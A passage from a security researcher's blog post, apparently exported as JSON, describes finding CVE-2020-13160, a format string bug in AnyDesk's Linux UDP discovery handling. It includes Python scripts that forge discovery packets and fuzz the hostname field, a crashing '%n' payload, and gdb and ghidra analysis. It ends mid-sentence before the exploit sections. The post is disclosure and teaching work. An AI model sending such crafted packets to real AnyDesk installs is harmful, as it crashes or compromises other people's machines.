{"id":1881,"date":"2020-06-09T04:06:17","date_gmt":"2020-06-09T04:06:17","guid":{"rendered":"https:\/\/devel0pment.de\/?p=1881"},"modified":"2020-06-15T12:54:21","modified_gmt":"2020-06-15T12:54:21","slug":"anydesk-udp-discovery-remote-code-execution-cve-2020-13160","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=1881","title":{"rendered":"AnyDesk UDP Discovery Remote Code Execution (CVE-2020-13160)"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/06\/cve.png\" alt=\"\" class=\"wp-image-2001\" width=\"750\" height=\"150\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/06\/cve.png 750w, https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/06\/cve-300x60.png 300w\" sizes=\"(max-width: 706px) 89vw, (max-width: 767px) 82vw, 740px\" \/><\/figure>\n\n\n\n<p>One of my goals for this year is to spend a little bit more of my spare time on real world applications. Doing so I took a look at the remote desktop application <a rel=\"noreferrer noopener\" href=\"https:\/\/anydesk.com\/\" target=\"_blank\">AnyDesk<\/a>, which seems to quickly raise in popularity not only because of COVID-19. AnyDesk is available for a variety of operating systems including Windows, Linux, Android and iOS. By reversing and fuzzing the Linux version 5.5.2 of the application I was able to find a format string vulnerability, which can be used to gain Remote Code Execution (RCE) by sending a single UDP packet to the target machine. AnyDesk took the issue very seriously. They released a patch only three days after my notification (5.5.3) and paid me a bounty of 5.000 EUR. The vulnerability is tracked as <a rel=\"noreferrer noopener\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-13160\" target=\"_blank\">CVE-2020-13160<\/a>. Within this article I want to share all steps, which were involved in finding the vulnerability, understanding the bug and developing the RCE exploit. The article is divided into the following sections:<\/p>\n\n\n\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1881#fuzzing\">Fuzzing<\/a><br>\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1881#bug\">Bug<\/a><br>\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1881#exploit\">Exploit<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#strategy\">Strategy<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#vsnprintf\">The v in vsnprintf<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#write\">Gaining arbitrary write<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#ip\">Controlling the instruction pointer<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#shellcode\">Hitting our shellcode: dynamic field width<\/a><br>\n&nbsp;&nbsp;&nbsp;&nbsp;&#8211; <a href=\"https:\/\/devel0pment.de\/?p=1881#final\">Final exploit<\/a><br>\n\u2192 <a href=\"https:\/\/devel0pment.de\/?p=1881#conclusion\">Conclusion<\/a><br><br>\n\n\n\n<!--more-->\n\n\n\n<hr>\n\n\n\n<h1 id=\"fuzzing\">Fuzzing<\/h1>\n\n\n\n<p>The AnyDesk application is running multiple processes with different permissions. The most valuable target is the service process <code>\/usr\/bin\/anydesk --service<\/code>, since this process is running with <code>root<\/code> privileges. There are two older CVEs (<a rel=\"noreferrer noopener\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2017-14397\" target=\"_blank\">CVE-2017-14397<\/a> and <a rel=\"noreferrer noopener\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-13102\" target=\"_blank\">CVE-2018-13102<\/a>), which target this process on Windows in order to escalate privileges. Both of these exploits are DLL injection\/preloading vulnerabilities, which only work locally. My desire was to find a vulnerability, which can be exploited remotely.<\/p>\n\n\n\n<p>At first we need to figure out which remote communication with the AnyDesk application is possible. This can simply be done by starting the application and using <code>netstat<\/code> to determine on which ports the application is listening:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ sudo netstat -tulpn | grep anydesk        \ntcp        0      0 0.0.0.0:7070            0.0.0.0:*               LISTEN      598\/anydesk         \nudp        0      0 0.0.0.0:50001           0.0.0.0:*                           598\/anydesk   \n<\/pre><\/div>\n\n\n<p>Accordingly the application is listening on TCP port <code>7070<\/code> and UDP port <code>50001<\/code>. By displaying all anydesk processes, we can see that the listening process is the service process itself (PID <code>598<\/code>). Also recognize the traybar process (PID <code>2983<\/code>) as well as the front-end process (PID <code>3421<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ sudo ps aux | grep anydesk\nroot       598  0.0  0.3 531172 28620 ?        Ssl  08:56   0:02 \/usr\/bin\/anydesk --service\nuser      2983  0.0  0.2 744288 23736 tty2     Sl+  08:58   0:00 \/usr\/bin\/anydesk --tray\nuser      3421  0.0  0.4 864624 37760 tty2     Sl+  09:01   0:00 \/usr\/bin\/anydesk\n<\/pre><\/div>\n\n\n<p>Before we can reasonably fuzz the application, we have to determine what data the application is usually expecting to receive on these ports. In order to get some sample data, we can inspect all traffic related to these ports using <code>wireshark<\/code> while interacting with the application.<\/p>\n\n\n\n<p>According to the observations we can make with wireshark TCP port 7070 is used for the actual remote desktop connection and uses TLS to encrypt the traffic. The details are not relevant for our considerations here. The relevant port is UDP 50001, which is used to announce AnyDesk clients within a local network. On startup of AnyDesk we can see that our client sends UDP packets to <code>239.255.102.18<\/code> in order to announce its presence. The packet contains the hostname (<code>w00d<\/code>), the username (<code>scryh<\/code>), a profile picture as well as a few other information:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"910\" height=\"593\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_01.png\" alt=\"\"><\/p>\n\n\n\n<p>Assuming that these announcements are also processed by our own client, we now have some legitimate data in order to fuzz the application. At first I started by fuzzing the application using <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/denandz\/fuzzotron\" target=\"_blank\">fuzzotron<\/a>, which is written in C and is quite fast. fuzzotron uses <a rel=\"noreferrer noopener\" href=\"https:\/\/gitlab.com\/akihe\/radamsa\" target=\"_blank\">radamsa<\/a> and\/or <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/aoh\/blab\" target=\"_blank\">blab<\/a> for the mutation of the input data. The setup is straightforward. We simply put our initial data observed in wireshark in a test-case file and then run fuzzotron providing among others the IP address and port as well as the PID, which fuzzotron should monitor for possible crashes.<\/p>\n\n\n\n<p>Unfortunately I could not find any flaws that seemed to be exploitable. So I decided to change the approach. Instead of directly targeting the service process, which is listening on the network socket, we can focus on the front-end process (PID <code>2983<\/code> in the output above). The front-end process is responsible for displaying the GUI to the user and communicates with the service process to exchange information relevant for the GUI. When the service process receives a valid UDP announcement frame this frame is passed to the front-end process in order to display the announced device within the GUI:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"796\" height=\"466\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_02.png\" alt=\"\"><\/p>\n\n\n\n<p>To make our fuzzing input reach the front-end process we have to send valid announcement frames. The problem here is that most of the frames produced by the fuzzer we used so far are not valid, because there are mutated without any knowledge of the specific format of these frames. Accordingly most of the fuzzer-mutated frames are dropped by the service process and never reach the front-end process.<\/p>\n\n\n\n<p>In order to create valid announcement frames we have to understand how the frames are built. Fortunately the format is not very complicated. By changing settings like our username or hostname and then observing the corresponding announcement frames our client is sending, we can derive how the frames are built. Among other things a frame contains the AnyDesk ID (4-byte), an operating system ID (1-byte) as well as the hostname and username, which are both transmitted as a 4-byte length field (<code>big-endian<\/code>) followed by the actual data. There are a few other fields and static values, which are not relevant for our considerations. The following python script creates a valid frame based on the given parameters and sends it to our local machine on UDP port 50001:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nimport struct\nimport socket\n\nip = &#039;127.0.0.1&#039;\nport = 50001\n\ndef gen_discover_packet(ad_id, os, hn, user, inf, func):\n  d  = chr(0x3e)+chr(0xd1)+chr(0x1)\n  d += struct.pack(&#039;&gt;I&#039;, ad_id)\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += chr(0x2)+chr(os)\n  d += struct.pack(&#039;&gt;I&#039;, len(hn)) + hn\n  d += struct.pack(&#039;&gt;I&#039;, len(user)) + user\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += struct.pack(&#039;&gt;I&#039;, len(inf)) + inf\n  d += chr(0)\n  d += struct.pack(&#039;&gt;I&#039;, len(func)) + func\n  d += chr(0x2)+chr(0xc3)+chr(0x51)\n  return d\n\np = gen_discover_packet(4919, 1, &#039;custom host&#039;, &#039;custom username&#039;, &#039;ad&#039;, &#039;main&#039;)\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.sendto(p, (ip, port))\ns.close()\n<\/pre><\/div>\n\n\n<p>After running the script we can see in the GUI that the front-end received the announcement and the fake device is displayed:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"626\" height=\"461\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_03.png\" alt=\"\"><\/p>\n\n\n\n<p>Now we are ready to explicitly fuzz certain fields of the frame. In order to do this we extend the python script to serve as our fuzzer. We can generate the actual fuzzing input by using radamsa again. Also we will monitor the front-end process and dump the last 10 fuzzing inputs, if the process died. The full fuzzer script, which targets the hostname, looks like this:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nimport struct\nimport socket\nimport subprocess\nimport psutil\nimport os\nimport time\n\nip = &#039;127.0.0.1&#039;\nport = 50001\nhost_payloads = &#x5B;&#039;&#039;] * 10\ndump_idx = 0\n\n\ndef mutate(pl):\n  p = subprocess.Popen(&#x5B;&#039;\/usr\/bin\/radamsa&#039;, &#039;-&#039;], stdin=subprocess.PIPE, stdout=subprocess.PIPE)\n  return p.communicate(pl)&#x5B;0]\n\n\ndef isAlive():\n  for p in psutil.process_iter():\n    if (p.name() == &#039;anydesk&#039; and len(p.cmdline()) == 1): return True\n  return False\n\n\ndef gen_discover_packet(ad_id, os, hn, user, inf, func):\n  d  = chr(0x3e)+chr(0xd1)+chr(0x1)\n  d += struct.pack(&#039;&gt;I&#039;, ad_id)\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += chr(0x2)+chr(os)\n  d += struct.pack(&#039;&gt;I&#039;, len(hn)) + hn\n  d += struct.pack(&#039;&gt;I&#039;, len(user)) + user\n  d += struct.pack(&#039;&gt;I&#039;, 0)\n  d += struct.pack(&#039;&gt;I&#039;, len(inf)) + inf\n  d += chr(0)\n  d += struct.pack(&#039;&gt;I&#039;, len(func)) + func\n  d += chr(0x2)+chr(0xc3)+chr(0x51)\n  return d\n\n\ndef dump():\n  global dump_idx\n  print(&#039;dumping &#039;+str(dump_idx))\n  os.system(&#039;mkdir loot&#039;+str(dump_idx))\n  for i in range(len(host_payloads)):\n    f = open(&#039;.\/loot&#039;+str(dump_idx)+&#039;\/host_payload&#039;+str(i), &#039;wb&#039;)\n    f.write(host_payloads&#x5B;i])\n    f.close()\n  dump_idx += 1\n  os.system(&#039;anydesk&amp;&#039;)\n  time.sleep(5)\n\n\nidx = 0\nwhile True:\n  time.sleep(5.0)\n  host = mutate(&#039;host&#039;)\n  if (len(host) &gt; 45000): continue # max length\n  host_payloads&#x5B;idx%len(host_payloads)] = host\n  p = gen_discover_packet(4919, 2, host, &#039;user&#039;, &#039;ad&#039;, &#039;main&#039;)\n  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n  s.sendto(p, (ip, port))\n  s.close()\n  idx += 1\n  if (not isAlive()): dump()\n<\/pre><\/div>\n\n\n<p>The sleep time for each fuzzing iteration is quite high (5 seconds), but it turned out that the GUI is only updated every 5 seconds. At first I thought about patching the binary in order to increase the update interval, but before digging into this I decided to just let the fuzzer run over a night.<\/p>\n\n\n\n<p>At the next day the fuzzing results were ready to be evaluated. The front-end actually crashed a few times and the script stored the fuzzing inputs on disk. At first we need to determine which exact payload triggered the crash. Since we saved the last 10 payloads sent to the application, we just need to resend these payloads and determine which one makes the application crash. This can be done using the following script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nimport struct\nimport socket\nimport sys\n\nip = &#039;127.0.0.1&#039;\nport = 50001\n\ndef gen_discover_packet(ad_id, os, hn, user, inf, func):\n  ...\n\nhost = open(sys.argv&#x5B;1]).read()\np = gen_discover_packet(4919, 2, host, &#039;user&#039;, &#039;ad&#039;, &#039;main&#039;)\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.sendto(p, (ip, port))\ns.close()\n<\/pre><\/div>\n\n\n<p>By sending the following payload the front-end crashes:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/resend.py loot2\/host_payload4\n\n... crash ...\n\nuser@w00d:~$ hexdump -C loot2\/host_payload4\n00000000  61 61 61 61 25 64 25 6e  25 70 25 64 24 2b f3 a0  |aaaa%d%n%p%d$+..|\n00000010  81 9c 81 bd 0b 7c                                 |.....||\n00000016\n<\/pre><\/div>\n\n\n<p>By fuzzing the AnyDesk front-end process with a python script, which produces valid announcement frames and mutates the hostname using radamsa, we successfully generated an input, which crashes the application. The next step is to analyze the bug in order the determine, if we can exploit it.<\/p>\n\n\n\n<h1 id=\"bug\">Bug<\/h1>\n\n\n\n<p>So far we have fuzzed the AnyDesk front-end and identified an input which makes the front-end crash. The next step is to determine what the cause of this crash is and to examine if it is based on a bug which we can exploit.<\/p>\n\n\n\n<p>At first we start up the front-end again and attach gdb to it (the <code>pid_frontend.py<\/code> script merely retrieves the current <code>PID<\/code> of the front-end process):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,60]; title: ; notranslate\" title=\"\">\nroot@w00d:~# gdb \/usr\/bin\/anydesk $(~\/pid_frontend.py)\n\n...\nReading symbols from \/usr\/bin\/anydesk...(no debugging symbols found)...done.\nAttaching to program: \/usr\/bin\/anydesk, process 10911\n&#x5B;New LWP 10913]\n&#x5B;New LWP 10914]\n&#x5B;New LWP 10928]\n&#x5B;New LWP 10931]\n&#x5B;New LWP 10938]\n&#x5B;New LWP 10941]\n&#x5B;New LWP 10942]\n&#x5B;New LWP 10943]\n&#x5B;New LWP 10944]\n&#x5B;New LWP 10945]\n&#x5B;Thread debugging using libthread_db enabled]\nUsing host libthread_db library &quot;\/lib\/x86_64-linux-gnu\/libthread_db.so.1&quot;.\n\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0xfffffffffffffdfc \nRBX: 0x1cf7720 --&gt; 0x100000005 \nRCX: 0x7f491870ebf9 (&lt;__GI___poll+73&gt;:\tcmp    rax,0xfffffffffffff000)\nRDX: 0x37a0 \nRSI: 0x3 \nRDI: 0x1cf7720 --&gt; 0x100000005 \nRBP: 0x3 \nRSP: 0x7ffe12cbcfb0 --&gt; 0x1aa05cc --&gt; 0x2 \nRIP: 0x7f491870ebf9 (&lt;__GI___poll+73&gt;:\tcmp    rax,0xfffffffffffff000)\nR8 : 0x0 \nR9 : 0x1ab6720 --&gt; 0x1900000024 \nR10: 0x1ce3000 --&gt; 0x1ab6720 --&gt; 0x1900000024 \nR11: 0x293 \nR12: 0x37a0 \nR13: 0x37a0 \nR14: 0x7f491d0b9f70 (&lt;g_poll&gt;:\tmov    esi,esi)\nR15: 0x3\nEFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x7f491870ebef &lt;__GI___poll+63&gt;:\tmov    rdi,rbx\n   0x7f491870ebf2 &lt;__GI___poll+66&gt;:\tmov    eax,0x7\n   0x7f491870ebf7 &lt;__GI___poll+71&gt;:\tsyscall \n=&gt; 0x7f491870ebf9 &lt;__GI___poll+73&gt;:\tcmp    rax,0xfffffffffffff000\n   0x7f491870ebff &lt;__GI___poll+79&gt;:\tja     0x7f491870ec32 &lt;__GI___poll+130&gt;\n   0x7f491870ec01 &lt;__GI___poll+81&gt;:\tmov    edi,r8d\n   0x7f491870ec04 &lt;__GI___poll+84&gt;:\tmov    DWORD PTR &#x5B;rsp+0xc],eax\n   0x7f491870ec08 &lt;__GI___poll+88&gt;:\tcall   0x7f491872a740 &lt;__libc_disable_asynccancel&gt;\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffe12cbcfb0 --&gt; 0x1aa05cc --&gt; 0x2 \n0008| 0x7ffe12cbcfb8 --&gt; 0x1cf7720 --&gt; 0x100000005 \n0016| 0x7ffe12cbcfc0 --&gt; 0x1957be0 --&gt; 0x0 \n0024| 0x7ffe12cbcfc8 --&gt; 0x3 \n0032| 0x7ffe12cbcfd0 --&gt; 0x1cf7720 --&gt; 0x100000005 \n0040| 0x7ffe12cbcfd8 --&gt; 0x7f491d0aa5c9 (mov    r13d,eax)\n0048| 0x7ffe12cbcfe0 --&gt; 0x0 \n0056| 0x7ffe12cbcfe8 --&gt; 0x101957be0 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x00007f491870ebf9 in __GI___poll (fds=0x1cf7720, nfds=0x3, timeout=0x37a0) at ..\/sysdeps\/unix\/sysv\/linux\/poll.c:29\n29\t..\/sysdeps\/unix\/sysv\/linux\/poll.c: No such file or directory.\ngdb-peda$ c\nContinuing.\n<\/pre><\/div>\n\n\n<p>Now we resend the payload, which caused the crash:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/resend.py loot2\/host_payload4\n<\/pre><\/div>\n\n\n<p>As expected the application raises a segmentation fault:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; gutter: false; highlight: [1,4,26,42]; title: ; notranslate\" title=\"\">\nThread 1 &quot;anydesk&quot; received signal SIGSEGV, Segmentation fault.\n\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x7ffe12cbb800 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\nRCX: 0x0 \nRDX: 0x7ffe12cbc4f8 --&gt; 0x0 \nRSI: 0x7ffe12cbb568 --&gt; 0xd24f18983b49a900 \nRDI: 0x7ffe12cbb5b0 --&gt; 0x7ffefbad8001 \nRBP: 0x7ffe12cbb5a0 --&gt; 0x7ffe12cbbc00 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa30849456\\275\\313\\022\\376\\177&quot;)\nRSP: 0x7ffe12cbb030 --&gt; 0x7f491ec3a6f0 (&lt;gtk_widget_destroy&gt;:\tpush   rbx)\nRIP: 0x7f4918657932 (&lt;_IO_vfprintf_internal+9634&gt;:\tmov    DWORD PTR &#x5B;rax],r13d)\nR8 : 0x0 \nR9 : 0x0 \nR10: 0x0 \nR11: 0x7ffe12cbb88c --&gt; 0xf32b24642570256e \nR12: 0x7ffe12cbc4c8 --&gt; 0x3000000020 (&#039; &#039;)\nR13: 0x91 \nR14: 0x7ffe12cbb5b0 --&gt; 0x7ffefbad8001 \nR15: 0x6e (&#039;n&#039;)\nEFLAGS: 0x10212 (carry parity ADJUST zero sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x7f4918657928 &lt;_IO_vfprintf_internal+9624&gt;:\tadd    eax,0x8\n   0x7f491865792b &lt;_IO_vfprintf_internal+9627&gt;:\tmov    DWORD PTR &#x5B;r12],eax\n   0x7f491865792f &lt;_IO_vfprintf_internal+9631&gt;:\tmov    rax,QWORD PTR &#x5B;rdx]\n=&gt; 0x7f4918657932 &lt;_IO_vfprintf_internal+9634&gt;:\tmov    DWORD PTR &#x5B;rax],r13d\n   0x7f4918657935 &lt;_IO_vfprintf_internal+9637&gt;:\tjmp    0x7f4918655930 &lt;_IO_vfprintf_internal+1440&gt;\n   0x7f491865793a &lt;_IO_vfprintf_internal+9642&gt;:\tmov    QWORD PTR &#x5B;rbp-0x4e8],r11\n   0x7f4918657941 &lt;_IO_vfprintf_internal+9649&gt;:\tmov    QWORD PTR &#x5B;rbp-0x4e0],rax\n   0x7f4918657948 &lt;_IO_vfprintf_internal+9656&gt;:\tcall   0x7f4918684150 &lt;_IO_vtable_check&gt;\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffe12cbb030 --&gt; 0x7f491ec3a6f0 (&lt;gtk_widget_destroy&gt;:\tpush   rbx)\n0008| 0x7ffe12cbb038 --&gt; 0x0 \n0016| 0x7ffe12cbb040 --&gt; 0x7ffe12cbb88a (&quot;d%n%p%d$+\\201\\275\\v|&#039;&quot;)\n0024| 0x7ffe12cbb048 --&gt; 0x7ffe00000000 \n0032| 0x7ffe12cbb050 --&gt; 0x0 \n0040| 0x7ffe12cbb058 --&gt; 0x1 \n0048| 0x7ffe12cbb060 --&gt; 0xffffffffffffffff \n0056| 0x7ffe12cbb068 --&gt; 0x100000000 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\nStopped reason: SIGSEGV\n0x00007f4918657932 in _IO_vfprintf_internal (s=s@entry=0x7ffe12cbb5b0, \n    format=format@entry=0x7ffe12cbb800 &quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;, ap=ap@entry=0x7ffe12cbc4c8) at vfprintf.c:1642\n1642\tvfprintf.c: No such file or directory.\n<\/pre><\/div>\n\n\n<p>As we can see, the crash is caused by the instruction <code>mov DWORD PTR [rax], r13d<\/code> within the function <code>_IO_vfprintf_internal<\/code>. Since the value of <code>rax<\/code> is <code>0<\/code> a segmentation fault is raised. Using the command <code>bt<\/code> we can print the stacktrace:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,7]; title: ; notranslate\" title=\"\">\ngdb-peda$ bt\n#0  0x00007f4918657932 in _IO_vfprintf_internal (s=s@entry=0x7ffe12cbb5b0, \n    format=format@entry=0x7ffe12cbb800 &quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;, ap=ap@entry=0x7ffe12cbc4c8) at vfprintf.c:1642\n#1  0x00007f4918682910 in _IO_vsnprintf (\n    string=0x7ffe12cbbc00 &quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa30849456\\275\\313\\022\\376\\177&quot;, maxlen=&lt;optimized out&gt;, \n    format=0x7ffe12cbb800 &quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;, args=0x7ffe12cbc4c8) at vsnprintf.c:114\n#2  0x00000000008ab34b in ?? ()\n#3  0x00000000008aba98 in ?? ()\n#4  0x0000000000434395 in ?? ()\n#5  0x00007f491d0b11cd in g_logv () from \/usr\/lib\/x86_64-linux-gnu\/libglib-2.0.so.0\n#6  0x00007f491d0b133f in g_log () from \/usr\/lib\/x86_64-linux-gnu\/libglib-2.0.so.0\n...\n<\/pre><\/div>\n\n\n<p>According to the output the return address after the <code>vsnprintf<\/code> call is <code>0x8ab34b<\/code> (<code>#2<\/code>). Let&#8217;s examine the code at this address in <code>ghidra<\/code>:<\/p>\n\n\n\n<p><img loading=\"lazy\" decoding=\"async\" width=\"1210\" height=\"657\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/05\/anyd_04.png\" alt=\"\"><\/p>\n\n\n\n<p>The call to <code>vsnprintf<\/code> is at <code>0x8ab346<\/code>. The third parameter of the function is the format string to be used (<code>local_cb8<\/code>). A few lines before we can see that the fourth parameter of the outer function (<code>param_4<\/code>) is copied into <code>local_cb8<\/code> using <code>strncpy<\/code>. In order to determine which parameters were passed to <code>vsnprintf<\/code> let&#8217;s set a breakpoint on the call and resend the payload:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ b *0x8ab346\nBreakpoint 1 at 0x8ab346\ngdb-peda$ c\nContinuing.\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nuser@w00d:~$ .\/resend.py loot2\/host_payload4\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [5,24,32,46]; title: ; notranslate\" title=\"\">\n&#x5B;----------------------------------registers-----------------------------------]\nRAX: 0x0 \nRBX: 0x11c5040 --&gt; 0x21 (&#039;!&#039;)\nRCX: 0x7ffec15e4248 --&gt; 0x3000000010 \nRDX: 0x7ffec15e3580 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\nRSI: 0x400 \nRDI: 0x7ffec15e3980 --&gt; 0x7 \nRBP: 0x5 \nRSP: 0x7ffec15e34a0 --&gt; 0x7ffec15e3670 --&gt; 0x0 \nRIP: 0x8ab346 (call   0x412d90 &lt;vsnprintf@plt&gt;)\nR8 : 0x0 \nR9 : 0x10 \nR10: 0xffffffa0 \nR11: 0x7fb9b72f9550 --&gt; 0xfff08320fff08310 \nR12: 0x7ffec15e4248 --&gt; 0x3000000010 \nR13: 0xb366d8 --&gt; 0x62696c67 (&#039;glib&#039;)\nR14: 0x2475ec0 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\nR15: 0x4\nEFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x8ab336:\tlea    rdi,&#x5B;rsp+0x4e0]\n   0x8ab33e:\tmov    rcx,r12\n   0x8ab341:\tmov    esi,0x400\n=&gt; 0x8ab346:\tcall   0x412d90 &lt;vsnprintf@plt&gt;\n   0x8ab34b:\tlea    rdi,&#x5B;rsp+0x18]\n   0x8ab350:\tcall   0x412ff0 &lt;time@plt&gt;\n   0x8ab355:\tlea    rdi,&#x5B;rsp+0x20]\n   0x8ab35a:\txor    esi,esi\nGuessed arguments:\narg&#x5B;0]: 0x7ffec15e3980 --&gt; 0x7 \narg&#x5B;1]: 0x400 \narg&#x5B;2]: 0x7ffec15e3580 (&quot;Failed to set text from markup due to error parsing markup: Error on line 1 char 56: Invalid UTF-8 encoded text in name - not valid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\narg&#x5B;3]: 0x7ffec15e4248 --&gt; 0x3000000010 \n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0x7ffec15e34a0 --&gt; 0x7ffec15e3670 --&gt; 0x0 \n0008| 0x7ffec15e34a8 --&gt; 0x7ffec15e3600 (&quot;lid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\n0016| 0x7ffec15e34b0 --&gt; 0x25ed450 --&gt; 0x0 \n0024| 0x7ffec15e34b8 --&gt; 0x7ffec15e3600 (&quot;lid &#039;aaaa%d%n%p%d$+\\201\\275\\v|&#039;&quot;)\n0032| 0x7ffec15e34c0 --&gt; 0x7ffec15e3820 --&gt; 0x0 \n0040| 0x7ffec15e34c8 --&gt; 0x7fb9bbbe89d4 (&lt;g_hash_table_lookup+52&gt;:\tmov    r8d,0x2)\n0048| 0x7ffec15e34d0 --&gt; 0x23e8230 --&gt; 0x2253ab0 --&gt; 0x2244340 --&gt; 0x31 (&#039;1&#039;)\n0056| 0x7ffec15e34d8 --&gt; 0x2622e60 --&gt; 0x0 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 1 &quot;anydesk&quot; hit Breakpoint 1, 0x00000000008ab346 in ?? ()\n<\/pre><\/div>\n\n\n<p>We hit the breakpoint on the call to <code>vsnprintf<\/code>. The third parameter (<code>RDX<\/code>) contains the format string. The passed string obviously contains an error message about an invalid UTF-8 encoded text. But this string does also contain the string, which caused the error: <code>'aaaa%d%n%p%d$+\\201\\275\\v|'<\/code>. This is our fuzzing input! In the format string! We have found a format string vulnerability.<\/p>\n\n\n\n<p>In this case the actual crash of the application was caused by the <code>%n<\/code> format specifier within the fuzzer-generated data. The <code>%n<\/code> format specifier can be used to write data. The address, where the data in this case is supposed to be written, happened to be null. This caused the segmentation 